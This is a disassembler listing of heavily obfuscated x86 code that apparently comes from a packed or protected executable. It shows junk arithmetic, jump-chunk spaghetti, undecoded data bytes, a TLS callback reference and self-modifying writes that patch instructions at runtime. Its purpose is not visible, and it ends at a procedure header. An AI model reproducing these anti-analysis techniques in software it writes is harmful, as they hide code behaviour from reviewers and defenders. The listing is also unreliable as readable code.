dword_44F0C0 push edx mov edx, ebx xchg edx, [esp] push offset byte_475C55 jmp locret_475C4B ; --------------------------------------------------------------------------- align 4 cmp edx, 34C74319h jmp loc_47549A ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_47580E loc_475260: ; CODE XREF: sub_47580E:loc_475FC1j mov byte ptr [ecx], 3 loc_475263: ; CODE XREF: isk1wxzg:loc_474991j pop ecx push offset byte_474ACF jmp loc_475937 ; END OF FUNCTION CHUNK FOR sub_47580E ; --------------------------------------------------------------------------- align 10h loc_475270: ; CODE XREF: isk1wxzg:00475E7Aj add eax, ebp push edi push 5F35B3B8h pop edi jmp loc_4755B1 ; --------------------------------------------------------------------------- db 0 byte_47527F db 0C6h ; DATA XREF: isk1wxzg:loc_4750D6o dd 8B588700h, 5D7E68C2h, 0B4E90047h, 0FFFFEDh db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_473D98 loc_475291: ; CODE XREF: sub_473D98+7j ; isk1wxzg:004753EDj mov eax, offset TlsCallbacks_ptr push offset dword_475EBC jmp nullsub_394 ; END OF FUNCTION CHUNK FOR sub_473D98 ; --------------------------------------------------------------------------- db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_399. PRESS KEYPAD "+" TO EXPAND] db 0E9h dd 0FFFFF006h db 0 ; --------------------------------------------------------------------------- loc_4752A9: ; CODE XREF: isk1wxzg:loc_4738A4j push offset byte_4741F9 jmp locret_474E85 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4752B4 proc near ; CODE XREF: isk1wxzg:0047457Cp ; isk1wxzg:004747D3j ; FUNCTION CHUNK AT 00474E8E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00475BDA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0047605D SIZE 0000000A BYTES xchg esi, [esp+0] pop esi push esi mov esi, edi xchg esi, [esp+0] mov edi, offset nullsub_396 jmp loc_475BDA sub_4752B4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_475026 loc_4752C8: ; CODE XREF: sub_475026-116Aj or eax, 1110262Bh xor eax, 0B07721Eh add ecx, eax pop eax jmp loc_473E8C ; END OF FUNCTION CHUNK FOR sub_475026 ; --------------------------------------------------------------------------- dd 1C850F00h, 0FFFFFE2h, 0FFE23D85h, 0F61CE9FFh, 0FFFFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_474DF6 loc_4752F0: ; CODE XREF: sub_474DF6+9j push 0F3F82901h pop edi add edi, 591ACC80h sub edi, 1723D79Fh xor edi, 65F6542Eh add edi, 1B3E676Dh jmp loc_474E95 ; END OF FUNCTION CHUNK FOR sub_474DF6 ; --------------------------------------------------------------------------- align 4 dd 40C26800h, 0AEE90047h, 8100000Ch, 0E6C468C0h, 29008BF7h dd 97840FD0h, 53FFFFE7h, 86E8DF8Bh db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_475337: ; CODE XREF: isk1wxzg:00473E6Cj xchg ebx, [esp] pop ebx xchg ecx, [esp] pop ecx push ebx mov ebx, offset loc_474C13 jmp loc_473F23 ; --------------------------------------------------------------------------- align 4 jnp loc_473C2C jmp loc_475D4F ; --------------------------------------------------------------------------- cld ; START OF FUNCTION CHUNK FOR sub_475C68 loc_475358: ; CODE XREF: sub_475C68:loc_475CE5j jno near ptr dword_4744C0+10h call sub_4757B6 add bl, al ; END OF FUNCTION CHUNK FOR sub_475C68 ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 0FFFFE6FEh ; --------------------------------------------------------------------------- loc_47536C: ; CODE XREF: isk1wxzg:0047429Ej call sub_473D98 jmp loc_475B23 ; --------------------------------------------------------------------------- align 4 sub edi, 68F18CFFh ; =============== S U B R O U T I N E ======================================= sub_47537E proc near ; CODE XREF: sub_475CEC:loc_474776p ; FUNCTION CHUNK AT 004755F0 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 004758ED SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx pushf push 0E8179DFEh jmp loc_4758ED sub_47537E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_47538D proc near ; CODE XREF: isk1wxzg:00474BDFp ; FUNCTION CHUNK AT 00474CAE SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00475D0C SIZE 00000005 BYTES xchg edx, [esp+0] pop edx add ecx, 9DC5150Bh push edx mov edx, offset loc_4758BB jmp loc_475D0C sub_47538D endp ; --------------------------------------------------------------------------- align 4 locret_4753A4: ; CODE XREF: isk1wxzg:00473AF3j retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_4753A7: ; CODE XREF: isk1wxzg:004746EEj jmp near ptr word_474346+1 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- locret_4753AD: ; CODE XREF: isk1wxzg:00475139j retn ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_397. PRESS KEYPAD "+" TO EXPAND] dd 54840F00h, 99FFFFE7h, 842E9h, 0F000000h, 0FFFAF08Eh dd 0E9D00BFFh, 0B20h, 1CD58155h, 0E9B67A9Dh, 6DEh ; --------------------------------------------------------------------------- loc_4753D8: ; CODE XREF: isk1wxzg:0047488Bj push 47479Fh jmp near ptr dword_4741FC+3 ; --------------------------------------------------------------------------- align 4 loc_4753E4: ; CODE XREF: isk1wxzg:004746D1j add edi, 74764DAFh xchg edi, [esp] jmp loc_475291 ; --------------------------------------------------------------------------- push edi mov edi, 47387Ah jmp loc_475D40 ; --------------------------------------------------------------------------- align 2 dw 1487h dd 357FB924h, 98E90047h, 0FFFFFEh, 24348700h, 351C685Eh dd 0CCE90047h db 0F6h, 2 dup(0FFh) byte_47541B db 81h ; DATA XREF: sub_4734CE:loc_47417Do dd 0CC500BC1h, 9929D86h, 75A5689Ch, 815A7007h, 0F23549CAh dd 0B6E281DBh, 0E9BA36E1h, 0FFFFF6FDh, 0F0F5E800h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_47580E loc_475443: ; CODE XREF: sub_47580E:loc_474254j pop ebx or ebx, 0E2FE440Dh sub ebx, 0E5A06F14h xor ebx, 8E9CBF12h jmp loc_473976 ; END OF FUNCTION CHUNK FOR sub_47580E ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop ebp retn 0Ch ; --------------------------------------------------------------------------- jmp locret_4741DA ; --------------------------------------------------------------------------- align 2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_384. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- pop ecx dec eax inc edi add cl, ch retf 0FFFAh ; --------------------------------------------------------------------------- db 0FFh dd 0D88B0000h, 0B8241C87h, 475C36h, 0FFF444E9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- locret_475483: ; CODE XREF: isk1wxzg:loc_474282j retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_47401B loc_475486: ; CODE XREF: sub_47401B:loc_475A9Ej ; sub_475DC9+Aj call near ptr dword_4735E4+11h add cl, ch retn 0FFF8h ; END OF FUNCTION CHUNK FOR sub_47401B ; --------------------------------------------------------------------------- dd 0E90000FFh, 0FFFFE3B6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_47549A: ; CODE XREF: isk1wxzg:0047525Aj jb loc_47611C and eax, edx adc ecx, 0AA190302h jp loc_474A53 loc_4754AE: ; CODE XREF: isk1wxzg:00474E1Ej or esi, 0AFD1E49Fh call near ptr byte_47428D+2 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4744DB loc_4754BA: ; CODE XREF: sub_4744DB+1684j jmp loc_474A1A ; --------------------------------------------------------------------------- loc_4754BF: ; CODE XREF: sub_4744DB+Cj jmp loc_475B59 ; END OF FUNCTION CHUNK FOR sub_4744DB ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_474419 loc_4754C5: ; CODE XREF: sub_474419+Fj jmp loc_473B4D ; END OF FUNCTION CHUNK FOR sub_474419 ; --------------------------------------------------------------------------- dw 8B0Fh dd 0C00h, 6AE9D88Bh, 0FFFFF7h db 0, 0C3h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4744DB loc_4754DA: ; CODE XREF: sub_4744DB+19DBj jmp loc_473A8C ; END OF FUNCTION CHUNK FOR sub_4744DB ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_473CB1 loc_4754E0: ; CODE XREF: sub_473CB1+503j jmp loc_473A2C ; END OF FUNCTION CHUNK FOR sub_473CB1 ; --------------------------------------------------------------------------- db 2 dup(0) byte_4754E7 db 81h ; DATA XREF: sub_473D4D+11A3o ; --------------------------------------------------------------------------- shl byte ptr [esi+3Eh], 0D3h loc_4754EC: ; DATA XREF: sub_473D4D+5o xchg cl, [ebx+73519D00h] push 8C305C7Fh xchg ebp, [esp] jmp loc_474A9C ; --------------------------------------------------------------------------- align 10h dd 0BB1ABB00h, 0AAE94BE4h, 3B000007h, 0FFB8E9D7h, 0FFFFh dd 915E8h db 3 dup(0) ; --------------------------------------------------------------------------- loc_47551B: ; CODE XREF: isk1wxzg:00475F72j jmp near ptr dword_473504+32h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_473CB1 loc_475520: ; CODE XREF: sub_473CB1+1BC0j jmp loc_474B4C ; END OF FUNCTION CHUNK FOR sub_473CB1 ; --------------------------------------------------------------------------- db 0Bh, 0DDh, 0F7h dd 0ED61E9D1h, 0B00FFFFh, 0F98BE9D5h db 2 dup(0FFh), 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_389. PRESS KEYPAD "+" TO EXPAND] dd 36E90000h, 0FFFFEDh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_473CB1 loc_475540: ; CODE XREF: sub_473CB1-26Fj jmp loc_475866 ; END OF FUNCTION CHUNK FOR sub_473CB1 ; --------------------------------------------------------------------------- push edi jmp sub_4749D8 ; --------------------------------------------------------------------------- db 87h dd 0B1E8243Ch, 0FFFFEAh, 0FFE206E9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- locret_47555B: ; CODE XREF: isk1wxzg:00474C26j retn ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_47555D: ; CODE XREF: isk1wxzg:00474016j jmp locret_474206 ; --------------------------------------------------------------------------- db 0 byte_475563 db 68h ; DATA XREF: isk1wxzg:00474C21o dd 1996C891h, 9DF08158h, 0F0E3967h, 0FFE87689h, 0C30000FFh ; --------------------------------------------------------------------------- loc_475578: ; CODE XREF: isk1wxzg:00474FEEj jmp loc_47369C ; --------------------------------------------------------------------------- align 2 dw 0F181h dd 52C780E0h, 800C1F7h, 21E90000h, 81FFFFE3h, 20D76BE5h dd 243C87C7h, 0C303C65Fh, 0FFDF8FE9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4749D8 loc_4755A3: ; CODE XREF: sub_4749D8:loc_474EA5j popf loc_4755A4: ; DATA XREF: sub_4734B6+1o mov al, [eax] push 474304h jmp near ptr dword_474188+4 ; END OF FUNCTION CHUNK FOR sub_4749D8 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_4755B1: ; CODE XREF: isk1wxzg:00475279j and edi, 2FF36C2Fh xor edi, 0E7D6A0FAh rol edi, 10h xor edi, 6AD41DA1h jmp near ptr dword_474D34+11h ; --------------------------------------------------------------------------- align 4 locret_4755CC: ; CODE XREF: isk1wxzg:loc_474D24j retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_475CEC loc_4755CF: ; CODE XREF: sub_475CEC+Fj jmp loc_474776 ; END OF FUNCTION CHUNK FOR sub_475CEC ; =============== S U B R O U T I N E ======================================= sub_4755D4 proc near ; DATA XREF: isk1wxzg:00474C35o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00474E80 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0047588A SIZE 00000010 BYTES ; FUNCTION CHUNK AT 004758AE SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0047608D SIZE 00000005 BYTES push eax mov eax, ecx xchg eax, [esp+4+var_4] push 2CF2ADE0h jmp loc_47608D sub_4755D4 endp ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- locret_4755E6: ; CODE XREF: isk1wxzg:00473A63j retn ; --------------------------------------------------------------------------- align 4 dd 0E8E900h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_47537E loc_4755F0: ; CODE XREF: sub_47537E:loc_4758EDj pop eax add eax, 30AA8D55h call sub_473D4D ; END OF FUNCTION CHUNK FOR sub_47537E ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_473CB1 loc_4755FE: ; CODE XREF: sub_473CB1+16j jmp loc_4741A3 ; END OF FUNCTION CHUNK FOR sub_473CB1 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_475604 proc near ; DATA XREF: isk1wxzg:00475CD1o xchg edx, [esp+0] adc ecx, edi sub_475604 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_47371D loc_475609: ; CODE XREF: sub_47371D+4j jmp loc_474D90 ; END OF FUNCTION CHUNK FOR sub_47371D ; --------------------------------------------------------------------------- align 10h loc_475610: ; CODE XREF: isk1wxzg:004738D3j adc edx, 28A27639h xchg edi, [esp] pop edi pop ecx jmp loc_4759FF ; --------------------------------------------------------------------------- dd 1E85100h, 0FFFFF3h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_474DF6 loc_475629: ; CODE XREF: sub_474DF6+1223j jmp loc_474B2D ; END OF FUNCTION CHUNK FOR sub_474DF6 ; --------------------------------------------------------------------------- align 10h retn ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_475633 proc near ; CODE XREF: isk1wxzg:loc_473F23p ; isk1wxzg:00474E9Dj xchg eax, [esp+0] pop eax mov byte ptr [ebx], 87h pop ebx push 2ED3878Dh call near ptr dword_4739E0+0Ch mov byte ptr [ecx], 0Fh pop ecx sub eax, 9BFE6BE9h xor eax, 57B050B4h push offset dword_47484C jmp nullsub_392 sub_475633 endp ; sp-analysis failed ; --------------------------------------------------------------------------- shl ecx, 13h pop esi jmp loc_4757ED ; --------------------------------------------------------------------------- locret_475668: ; CODE XREF: isk1wxzg:00474341j retn ; --------------------------------------------------------------------------- loc_475669: ; CODE XREF: isk1wxzg:0047473Dj jmp loc_473F5B ; --------------------------------------------------------------------------- align 10h loc_475670: ; DATA XREF: isk1wxzg:0047433Co mov byte ptr [ecx], 87h pop ecx and ebx, 7AFA98DBh add ebx, 0B81556B6h jmp loc_475F6F ; --------------------------------------------------------------------------- align 2 dw 6C6h dd 0C1C15EC6h, 69C98113h, 81611CA0h, 0A7A6AFC1h, 240C878Ch dd 0FFE1CEE9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_4756A3: ; CODE XREF: isk1wxzg:00475706j jl loc_473A14 loc_4756A9: ; CODE XREF: isk1wxzg:loc_47510Aj or esi, 2CC31F3Fh and esi, 66E9680Dh add esi, 59A072B6h add ecx, esi pop esi jmp loc_47505C ; --------------------------------------------------------------------------- align 4 dd 0F202E800h, 0FFFFh, 168BD913h, 0FFE3E2E9h, 3C600FFh dd 4D7768C6h, 0E1E90047h, 0FFFFF4h, 3A8830Fh, 30E90000h dd 0FFFFE1h, 5E243487h, 87F98B57h, 5968243Ch, 0E9004742h dd 0FFFFEB4Dh ; --------------------------------------------------------------------------- loc_475704: ; CODE XREF: isk1wxzg:00475122j sbb eax, ebx jmp loc_4756A3 ; --------------------------------------------------------------------------- align 4 dd 0FFE9F013h, 0FFFFEEh, 0F6AF8C0Fh, 0F281FFFFh, 4F8FB07h dd 0FFED09E9h, 0C3C100FFh, 0BDC3811Ch, 0E9DDA169h, 0FFFFF7E7h dd 13879D00h, 0FFDF50E9h, 0C88F0FFFh, 0E9000007h, 0FFFFEFC2h dd 0BD870F00h, 0E9FFFFF3h, 0FFFFFCB9h, 3C870000h, 4875F24h dd 21CE924h, 0C3000000h, 58D0000h, 473E93h, 68C76853h dd 7AE94933h db 7, 2 dup(0) ; --------------------------------------------------------------------------- loc_475777: ; CODE XREF: isk1wxzg:00473DE5j jge loc_474FBA ; --------------------------------------------------------------------------- db 2 dup(0), 81h dd 0C373D0D1h, 0C0819D9Fh, 1206BD8Fh, 0FFF829E9h db 0FFh, 0C3h, 0 db 87h ; DATA XREF: isk1wxzg:loc_475B23o dd 12BA240Ch, 0E900473Eh, 0FFFFFC9Dh, 850F0000h, 235h dd 0C5C10000h, 0E778E91Ch, 0FFFFh ; --------------------------------------------------------------------------- loc_4757B4: ; CODE XREF: isk1wxzg:00475AB0j mov ebx, [esi] ; =============== S U B R O U T I N E ======================================= sub_4757B6 proc near ; CODE XREF: sub_475C68-90Ap ; FUNCTION CHUNK AT 004748C0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004749D0 SIZE 00000007 BYTES xchg ecx, [esp+0] pop ecx jnz near ptr dword_4744C0+5 lodsb add edx, eax rol edx, 3 jmp loc_4748C0 sub_4757B6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 dd 0FFE2E6E8h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4734CE loc_4757D3: ; CODE XREF: sub_4734CE+7j jmp loc_475E80 ; END OF FUNCTION CHUNK FOR sub_4734CE ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_4757DA proc near ; CODE XREF: isk1wxzg:00474C8Cj ; sub_47580E:loc_475FBCp xchg ecx, [esp+0] pop ecx mov byte ptr [ebx], 8Bh pop ebx push offset dword_473924 jmp nullsub_376 sub_4757DA endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_4757ED: ; CODE XREF: isk1wxzg:00475663j xchg ebx, [esp] pop ebx push esi push offset sub_4749EA jmp near ptr dword_47508C+12h ; --------------------------------------------------------------------------- loc_4757FC: ; CODE XREF: isk1wxzg:00474B46j push offset byte_474061 jmp loc_4759AB ; --------------------------------------------------------------------------- align 4 dd 0FD698A0Fh db 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_47580E proc near ; CODE XREF: isk1wxzg:00476084p ; FUNCTION CHUNK AT 00473976 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00473B40 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00474254 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00475260 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00475443 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00475937 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00475DED SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00475FBC SIZE 0000000A BYTES xchg ebx, [esp+0] xchg esi, [esp+0] mov ebx, esi pop esi push ebx push 7F313C1Ah jmp loc_474254 sub_47580E endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 8700h ; --------------------------------------------------------------------------- cmp al, 24h pop edi push ebp mov ebp, esi xchg ebp, [esp] mov esi, offset loc_473E2A jmp loc_4747C5 ; --------------------------------------------------------------------------- byte_475837 db 8Bh ; DATA XREF: sub_47401B+1A89o dd 0FD20910h, 66984h, 454D6800h, 72E90047h, 0FFFFF0h ; --------------------------------------------------------------------------- loc_47584C: ; CODE XREF: isk1wxzg:00474AFFj jz loc_474B0C jb loc_475B10 mov [esi], edi jmp loc_474B0C ; --------------------------------------------------------------------------- align 10h retn ; --------------------------------------------------------------------------- db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_398. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_473CB1 loc_475866: ; CODE XREF: sub_473CB1:loc_475540j xor eax, 0DB3BD78h add esi, eax pop eax mov [esi], eax jmp loc_475520 ; END OF FUNCTION CHUNK FOR sub_473CB1 ; --------------------------------------------------------------------------- sub eax, 18190476h sbb ecx, 10BD5933h jmp loc_474155 ; --------------------------------------------------------------------------- align 4 db 0, 87h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4755D4 loc_47588A: ; CODE XREF: sub_4755D4:loc_4758BBj or al, 24h xchg eax, [esp+4+var_4] mov ecx, eax pop eax xchg ecx, [esp+0] jmp loc_474E80 ; END OF FUNCTION CHUNK FOR sub_4755D4 ; =============== S U B R O U T I N E ======================================= sub_47589A proc near ; CODE XREF: isk1wxzg:00474168p ; FUNCTION CHUNK AT 00474581 SIZE 00000020 BYTES xchg ebx, [esp+0] pop ebx push 7573375Ch pop esi rol esi, 15h jmp loc_474581 sub_47589A endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4755D4 loc_4758AE: ; CODE XREF: isk1wxzg:00475020j ; sub_4755D4:loc_47608Dj pop ecx and ecx, 9F1A078Fh xor ecx, 8248A13Bh loc_4758BB: ; DATA XREF: sub_47538D+Bo jo short loc_47588A call sub_475AB6 jmp near ptr dword_474130+23h ; END OF FUNCTION CHUNK FOR sub_4755D4 ; --------------------------------------------------------------------------- align 4 dd 87CA8B51h, 0F6BA240Ch, 0E900473Ch, 0FFFFF2F8h, 0E80B0000h dd 0F521CB81h, 0C3811CEFh, 404735B3h, 4B8E8h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_47537E loc_4758ED: ; CODE XREF: sub_47537E+Aj jmp loc_4755F0 ; END OF FUNCTION CHUNK FOR sub_47537E ; --------------------------------------------------------------------------- loc_4758F2: ; CODE XREF: isk1wxzg:loc_475D12j add ebx, 7DE4A047h and ebx, 36077AC5h add ebx, 0EA411E0Ah jmp loc_47379E ; --------------------------------------------------------------------------- push 0B2622CDDh pop eax and eax, 0DD4DECE4h or eax, 0FD554304h and eax, 20E0980Eh sub eax, 0E5544410h add eax, 0C55933F4h call sub_475DC9 ; START OF FUNCTION CHUNK FOR sub_475DC9 loc_475932: ; CODE XREF: sub_475DC9-2BEj jmp nullsub_400 ; END OF FUNCTION CHUNK FOR sub_475DC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_47580E loc_475937: ; CODE XREF: sub_47580E-5A5j jmp nullsub_377 ; END OF FUNCTION CHUNK FOR sub_47580E ; --------------------------------------------------------------------------- dd 0C0815800h, 97D8EAB7h, 0E82AE081h, 0C8811F88h, 6AB61365h dd 0ADC7E881h, 4EE98B76h, 0FFFFDFh db 0 ; --------------------------------------------------------------------------- loc_47595D: ; CODE XREF: isk1wxzg:0047520Aj jg loc_474C7C ror edx, 1Bh add esi, ecx mov esi, 2FE942B6h loc_47596D: ; CODE XREF: isk1wxzg:loc_4751F7j add esi, 0FB007BA6h xchg esi, [esp] jmp loc_473B46 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_402. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0) ; --------------------------------------------------------------------------- loc_47597E: ; CODE XREF: isk1wxzg:loc_473B46j push ecx jmp loc_473B61 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_475986: ; DATA XREF: sub_4744DB+714o mov ds:byte_473E91+2, 0Fh mov byte ptr ds:dword_4739E0+1, 0E8h mov byte ptr ds:dword_4739E0+1Ch, 87h mov byte ptr ds:dword_4739E0+1Fh, 58h mov byte ptr ds:dword_4739E0+20h, 0Fh retn ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_4759AB: ; CODE XREF: isk1wxzg:00475801j jmp locret_475030 ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_382. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_385. PRESS KEYPAD "+" TO EXPAND] db 80h dd 2BEh, 0FFE3F1E9h ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_4759BE: ; DATA XREF: isk1wxzg:loc_473A5Eo add [edi-1045DBE4h], al pop edi inc edi add cl, ch xor eax, 0FFFFDCh ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_291. PRESS KEYPAD "+" TO EXPAND] align 10h ; START OF FUNCTION CHUNK FOR sub_475B43 loc_4759D0: ; CODE XREF: sub_475B43+10j jmp loc_473B34 ; END OF FUNCTION CHUNK FOR sub_475B43 ; --------------------------------------------------------------------------- jb loc_475E51 xchg ebp, eax push ecx mov ecx, edx xchg ecx, [esp] jmp loc_475DBF ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4741CE loc_4759EA: ; CODE XREF: sub_4741CE:loc_47474Aj mov byte ptr [ecx], 56h pop ecx mov ebp, edx loc_4759F0: ; DATA XREF: sub_4741CE+7A4o js short loc_475A5A call far ptr 7AE9h:5EDF4A25h out dx, al ; END OF FUNCTION CHUNK FOR sub_4741CE ; --------------------------------------------------------------------------- dw 0FFFFh db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_376. PRESS KEYPAD "+" TO EXPAND] db 0 ; --------------------------------------------------------------------------- loc_4759FF: ; CODE XREF: isk1wxzg:0047561Bj jmp loc_474BFB ; --------------------------------------------------------------------------- dd 68008B00h, 47388Dh, 0FFFB43E9h, 0F70000FFh, 1DE7C1D6h dd 0FFF77CE9h, 810000FFh, 60EE52E8h, 0F5B9E929h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_475A2A: ; CODE XREF: isk1wxzg:00474FC9j push 1F547C44h pop esi add esi, 0A95C32C7h test esi, 10h jmp loc_47510A ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_474BAE loc_475A43: ; CODE XREF: sub_474BAE+11j jmp loc_475CA2 ; END OF FUNCTION CHUNK FOR sub_474BAE ; --------------------------------------------------------------------------- dd 0CC1C100h, 0FFF655E9h, 48700FFh, 8B5824h ; --------------------------------------------------------------------------- or eax, eax ; START OF FUNCTION CHUNK FOR sub_4741CE loc_475A5A: ; CODE XREF: sub_4741CE:loc_4759F0j jnz near ptr word_473726+1 jmp loc_474396 ; END OF FUNCTION CHUNK FOR sub_4741CE ; --------------------------------------------------------------------------- align 2 jo locret_475C4B jmp sub_47420E ; --------------------------------------------------------------------------- align 2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_387. PRESS KEYPAD "+" TO EXPAND] align 4 dd 3100C300h, 535768C0h, 3FE90047h, 0C3FFFFFEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_475A86: ; CODE XREF: isk1wxzg:004750BFj jmp locret_47496C ; --------------------------------------------------------------------------- align 4 dd 87D38B52h, 0F0BB2414h, 0E9004745h, 0FFFFECE2h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_47401B loc_475A9E: ; CODE XREF: sub_47401B:loc_474A78j jno loc_475486 push offset byte_475837 jmp nullsub_386 ; END OF FUNCTION CHUNK FOR sub_47401B ; --------------------------------------------------------------------------- sub edi, eax jmp loc_4757B4 ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= sub_475AB6 proc near ; CODE XREF: sub_4755D4+2E9p xchg ecx, [esp+0] pop ecx add ecx, 71A55B41h push 473CE1h jmp near ptr dword_473F28+21h sub_475AB6 endp ; --------------------------------------------------------------------------- align 4 xchg ecx, ebx jmp sub_474370 ; --------------------------------------------------------------------------- align 4 dd 0F7FB8700h, 0ABF081D7h, 68870BE0h, 2B08D955h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4741CE loc_475AE4: ; CODE XREF: sub_4741CE:loc_474396j call sub_47371D ; END OF FUNCTION CHUNK FOR sub_4741CE ; --------------------------------------------------------------------------- db 2 dup(0), 0C3h dd 0E9108B00h, 144h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_475DC9 loc_475AF5: ; CODE XREF: sub_475DC9:loc_475DCDj call sub_47401B add cl, ch inc esp add eax, 87000000h adc al, 24h pop edx popf push offset loc_475C2C jmp loc_475932 ; END OF FUNCTION CHUNK FOR sub_475DC9 ; --------------------------------------------------------------------------- loc_475B10: ; CODE XREF: isk1wxzg:0047391Fj ; isk1wxzg:00475852j rol ecx, 1Ch xor ecx, 0E8C5E7BAh cmp eax, ecx pop ecx jmp loc_473C8A ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_475B23: ; CODE XREF: isk1wxzg:00475371j push offset byte_475793 jmp loc_474A73 ; --------------------------------------------------------------------------- align 2 lea eax, nullsub_401 mov byte ptr [eax], 0C3h push ecx push 95ABB028h ; START OF FUNCTION CHUNK FOR sub_4744DB loc_475B3D: ; CODE XREF: sub_4744DB+1CCj ; isk1wxzg:00474FCEj jmp loc_475E41 ; END OF FUNCTION CHUNK FOR sub_4744DB ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_475B43 proc near ; CODE XREF: isk1wxzg:loc_474AE2p 